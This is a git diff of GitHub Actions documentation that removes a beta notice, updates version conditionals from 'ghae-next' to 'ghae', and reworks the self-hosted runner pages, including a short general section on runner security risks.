b/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md @@ -22,7 +22,6 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -135,7 +134,7 @@ jobs: {% endraw %} If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version. -{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/content/actions/automating-builds-and-tests/building-and-testing-powershell.md index e1bc4db7ac..8983ffab2e 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-powershell.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-powershell.md @@ -19,7 +19,6 @@ shortTitle: Build & test PowerShell {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -27,7 +26,8 @@ This guide shows you how to use PowerShell for CI. It describes how to use Peste {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes PowerShell and Pester. -{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} {% else %}For a full list of up-to-date software and the pre-installed versions of PowerShell and Pester, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-python.md b/content/actions/automating-builds-and-tests/building-and-testing-python.md index 9b0b916538..bdbeef71ff 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-python.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-python.md @@ -21,13 +21,13 @@ hasExperimentalAlternative: true {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to build, test, and publish a Python package. -{% ifversion ghae %} For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/content/actions/automating-builds-and-tests/building-and-testing-ruby.md index a2ae20186e..6da09a7717 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-ruby.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-ruby.md @@ -17,7 +17,6 @@ shortTitle: Build & test Ruby {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -284,7 +283,7 @@ on: jobs: build: name: Build + Publish - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} diff --git a/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/content/actions/automating-builds-and-tests/building-and-testing-swift.md index 49dc5a2996..8bbcaef747 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-swift.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-swift.md @@ -17,13 +17,12 @@ shortTitle: Build & test Swift {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction This guide shows you how to build and test a Swift package. -{% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, you will need to create a custom operating system image that includes the necessary Swift dependencies. For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, the necessary Swift dependencies are required. {% data reusables.actions.self-hosted-runners-software %} {% else %}{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %} ## Prerequisites diff --git a/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md index 1dce77553f..312c10753e 100644 --- a/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md +++ b/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md @@ -21,7 +21,6 @@ shortTitle: Build & test Xamarin apps {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/automating-builds-and-tests/index.md b/content/actions/automating-builds-and-tests/index.md index 1a62c58803..7a40d05f77 100644 --- a/content/actions/automating-builds-and-tests/index.md +++ b/content/actions/automating-builds-and-tests/index.md @@ -29,4 +29,3 @@ children: - /building-and-testing-xamarin-applications --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/creating-actions/about-custom-actions.md b/content/actions/creating-actions/about-custom-actions.md index e52f91892a..00fecf9091 100644 --- a/content/actions/creating-actions/about-custom-actions.md +++ b/content/actions/creating-actions/about-custom-actions.md @@ -20,7 +20,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About custom actions diff --git a/content/actions/creating-actions/creating-a-composite-action.md b/content/actions/creating-actions/creating-a-composite-action.md index 6a586e3a7b..393112d951 100644 --- a/content/actions/creating-actions/creating-a-composite-action.md +++ b/content/actions/creating-actions/creating-a-composite-action.md @@ -16,7 +16,6 @@ shortTitle: Composite action {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/creating-actions/creating-a-docker-container-action.md b/content/actions/creating-actions/creating-a-docker-container-action.md index c7f91b3a43..049b7b0208 100644 --- a/content/actions/creating-actions/creating-a-docker-container-action.md +++ b/content/actions/creating-actions/creating-a-docker-container-action.md @@ -20,7 +20,6 @@ shortTitle: Docker container action {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/creating-actions/creating-a-javascript-action.md b/content/actions/creating-actions/creating-a-javascript-action.md index 660ebfdd95..72621a7252 100644 --- a/content/actions/creating-actions/creating-a-javascript-action.md +++ b/content/actions/creating-actions/creating-a-javascript-action.md @@ -20,7 +20,6 @@ shortTitle: JavaScript action {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/content/actions/creating-actions/dockerfile-support-for-github-actions.md index 27c1506b60..58e2bf325b 100644 --- a/content/actions/creating-actions/dockerfile-support-for-github-actions.md +++ b/content/actions/creating-actions/dockerfile-support-for-github-actions.md @@ -14,7 +14,6 @@ type: reference {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About Dockerfile instructions diff --git a/content/actions/creating-actions/index.md b/content/actions/creating-actions/index.md index fccfeadfba..7ed06229d7 100644 --- a/content/actions/creating-actions/index.md +++ b/content/actions/creating-actions/index.md @@ -26,4 +26,3 @@ children: --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/content/actions/creating-actions/metadata-syntax-for-github-actions.md index 82ae1473e6..4b23257b33 100644 --- a/content/actions/creating-actions/metadata-syntax-for-github-actions.md +++ b/content/actions/creating-actions/metadata-syntax-for-github-actions.md @@ -17,7 +17,6 @@ type: reference {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About YAML syntax for {% data variables.product.prodname_actions %} diff --git a/content/actions/creating-actions/setting-exit-codes-for-actions.md b/content/actions/creating-actions/setting-exit-codes-for-actions.md index ea939d71ae..1b8f685951 100644 --- a/content/actions/creating-actions/setting-exit-codes-for-actions.md +++ b/content/actions/creating-actions/setting-exit-codes-for-actions.md @@ -14,7 +14,6 @@ type: how_to {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About exit codes diff --git a/content/actions/deployment/about-deployments/about-continuous-deployment.md b/content/actions/deployment/about-deployments/about-continuous-deployment.md index c3653c690f..cf534d337e 100644 --- a/content/actions/deployment/about-deployments/about-continuous-deployment.md +++ b/content/actions/deployment/about-deployments/about-continuous-deployment.md @@ -16,7 +16,6 @@ shortTitle: About continuous deployment {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About continuous deployment @@ -31,7 +30,7 @@ You can set up a {% data variables.product.prodname_actions %} workflow to deplo You can configure your CD workflow to run when a {% data variables.product.product_name %} event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." {% ifversion fpt or ghae or ghes > 3.0 or ghec %} -{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. {% endif %}For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% endif %} +{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. {% endif %}For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% endif %} {% ifversion fpt or ghec or ghae-issue-4856 %} diff --git a/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/content/actions/deployment/about-deployments/deploying-with-github-actions.md index 95cd01af22..9bea24d6f4 100644 --- a/content/actions/deployment/about-deployments/deploying-with-github-actions.md +++ b/content/actions/deployment/about-deployments/deploying-with-github-actions.md @@ -16,7 +16,6 @@ shortTitle: Deploy with GitHub Actions {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md index 1c03182c7d..a92d22c49c 100644 --- a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md +++ b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md @@ -19,7 +19,6 @@ shortTitle: Deploy to Amazon ECS {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service.md b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service.md index 130831e256..29afb5a616 100644 --- a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service.md +++ b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service.md @@ -19,7 +19,6 @@ shortTitle: Deploy to Azure App Service {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md index a2f26a403a..6782f10b34 100644 --- a/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md +++ b/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md @@ -19,7 +19,6 @@ shortTitle: Deploy to Google Kubernetes Engine {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md index 2be35ef7f9..754cefaf0a 100644 --- a/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md +++ b/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md @@ -18,7 +18,6 @@ shortTitle: Sign Xcode applications {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/deployment/index.md b/content/actions/deployment/index.md index f7df6126ff..3117e8d507 100644 --- a/content/actions/deployment/index.md +++ b/content/actions/deployment/index.md @@ -16,4 +16,3 @@ children: - /deploying-xcode-applications --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md index 460750a26f..a940a03bc6 100644 --- a/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md +++ b/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md @@ -14,7 +14,6 @@ redirect_from: - /actions/deployment/viewing-deployment-history --- -{% data reusables.actions.ae-beta %} You can deliver deployments through {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} and environments or with {% endif %}the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)." diff --git a/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md index 6713a9da75..065ae4b7de 100644 --- a/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md +++ b/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md @@ -15,7 +15,6 @@ versions: ghec: '*' --- -{% data reusables.actions.ae-beta %} ## About environments @@ -35,7 +34,7 @@ Organizations that use {% data variables.product.prodname_ghe_cloud %} can confi ## Environment protection rules -Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %} +Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %} ### Required reviewers @@ -47,7 +46,7 @@ For more information on reviewing jobs that reference an environment with requir Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days). -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} ### Deployment branches Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment: @@ -94,7 +93,7 @@ Secrets stored in an environment are only available to workflow jobs that refere 1. Enter the secret value. 1. Click **Add secret**. -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %} Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment. @@ -118,7 +117,7 @@ Deleting an environment will delete all secrets and protection rules associated 1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. 2. Click **I understand, delete this environment**. -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %} ## How environments relate to deployments diff --git a/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/content/actions/hosting-your-own-runners/about-self-hosted-runners.md index 40d2652bc4..8585b4c622 100644 --- a/content/actions/hosting-your-own-runners/about-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/about-self-hosted-runners.md @@ -15,7 +15,6 @@ type: overview {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About self-hosted runners @@ -32,17 +31,19 @@ Your runner machine connects to {% data variables.product.product_name %} using For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." -## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners +## {% ifversion fpt or ghes %}Differences between {% data variables.product.prodname_dotcom %}-hosted and {% elsif ghae %}Characteristics of {% endif %}self-hosted runners -{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment. +{% ifversion fpt or ghes %} +{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted{% elsif ghae %}Self-hosted{% endif %} runners are a highly configurable way to run workflows in your own custom environment. {% ifversion ghae %}Self-hosted runners:{% endif %} +{% ifversion fpt or ghes %} **{% data variables.product.prodname_dotcom %}-hosted runners:** - Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. - Are managed and maintained by {% data variables.product.prodname_dotcom %}. - Provide a clean instance for every job execution. - Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes. -**Self-hosted runners:** +**Self-hosted runners:**{% endif %} - Receive automatic updates for the self-hosted runner application only. You are responsible for updating the operating system and all other software. - Can use cloud services or local machines that you already pay for. - Are customizable to your hardware, operating system, software, and security requirements. @@ -217,14 +218,20 @@ codeload.github.com {% endif %} -{% ifversion fpt or ghec %} +## Self-hosted runner security -## Self-hosted runner security with public repositories +{% ifversion fpt or ghec %} {% data reusables.github-actions.self-hosted-runner-security %} +{% endif %} + +{% ifversion fpt or ghec %} + This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. +{% endif %} + Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: * Malicious programs running on the machine. @@ -232,4 +239,4 @@ Untrusted workflows running on your self-hosted runner pose significant security * Exposing access to the machine's network environment. * Persisting unwanted or dangerous data on the machine. -{% endif %} +For more information about security hardening for self-hosted runners, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." diff --git a/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md b/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md index ebfb2eed08..b1bd8075ff 100644 --- a/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md @@ -16,7 +16,6 @@ shortTitle: Add self-hosted runners {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} You can add a self-hosted runner to a repository, an organization, or an enterprise. diff --git a/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md index 794d71707e..ed2c6cc905 100644 --- a/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md @@ -11,7 +11,6 @@ type: overview {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About autoscaling diff --git a/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md index 0dff02b048..64f8750f4a 100644 --- a/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md +++ b/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md @@ -16,7 +16,6 @@ shortTitle: Run runner app on startup {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %} {% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %} diff --git a/content/actions/hosting-your-own-runners/index.md b/content/actions/hosting-your-own-runners/index.md index 259e9b7351..35bffd48e4 100644 --- a/content/actions/hosting-your-own-runners/index.md +++ b/content/actions/hosting-your-own-runners/index.md @@ -4,6 +4,12 @@ intro: You can create self-hosted runners to run workflows in a highly customiza redirect_from: - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners + - /actions/using-github-hosted-runners/about-ae-hosted-runners + - /actions/using-github-hosted-runners/adding-ae-hosted-runners + - /actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow + - /actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners + - /actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners + - /actions/using-github-hosted-runners/creating-custom-images versions: fpt: '*' ghes: '*' @@ -24,4 +30,3 @@ children: {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md index 4f0148b6c3..a0afa6e963 100644 --- a/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md +++ b/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md @@ -15,7 +15,6 @@ shortTitle: Manage runner groups {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About self-hosted runner groups @@ -181,7 +180,7 @@ Could not find any self-hosted runner group named "rg-runnergroup". ## Moving a self-hosted runner to a group If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group. -{% ifversion ghec or ghes > 3.1 or ghae-next %} +{% ifversion ghec or ghes > 3.1 or ghae %} {% data reusables.github-actions.self-hosted-runner-navigate-to-org-enterprise %} 1. In the "Runners" list, click the runner that you want to configure. 2. Select the Runner group dropdown menu. @@ -199,7 +198,7 @@ If you don't specify a runner group during the registration process, your new se Self-hosted runners are automatically returned to the default group when their group is removed. -{% ifversion ghes > 3.1 or ghae-next or ghec %} +{% ifversion ghes > 3.1 or ghae or ghec %} {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %} 1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2. To remove the group, click **Remove group**. diff --git a/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md index ef4fa168c6..1b90750003 100644 --- a/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md @@ -18,7 +18,6 @@ shortTitle: Monitor & troubleshoot {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Checking the status of a self-hosted runner @@ -26,7 +25,7 @@ shortTitle: Monitor & troubleshoot {% data reusables.github-actions.self-hosted-runner-navigate-repo-and-org %} {% data reusables.github-actions.settings-sidebar-actions-runners %} -1. Under {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, you can view a list of registered runners, including the runner's name, labels, and status. +1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, you can view a list of registered runners, including the runner's name, labels, and status. The status can be one of the following: diff --git a/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md index 31a9273648..49a1a6d3d0 100644 --- a/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -16,7 +16,6 @@ shortTitle: Remove self-hosted runners {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Removing a runner from a repository @@ -58,7 +57,7 @@ To remove a self-hosted runner from a user repository you must be the repository To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.github-actions.settings-sidebar-actions %} diff --git a/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md index 9028179143..2ae428faa5 100644 --- a/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md @@ -15,7 +15,6 @@ shortTitle: Proxy servers {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Configuring a proxy server using environment variables diff --git a/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md index 1a6b1ac66b..42ac880513 100644 --- a/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md +++ b/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md @@ -13,7 +13,6 @@ shortTitle: Label runners {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)." diff --git a/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md b/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md index 3693578127..8b533bffd4 100644 --- a/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md +++ b/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md @@ -16,7 +16,6 @@ shortTitle: Use runners in a workflow {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data 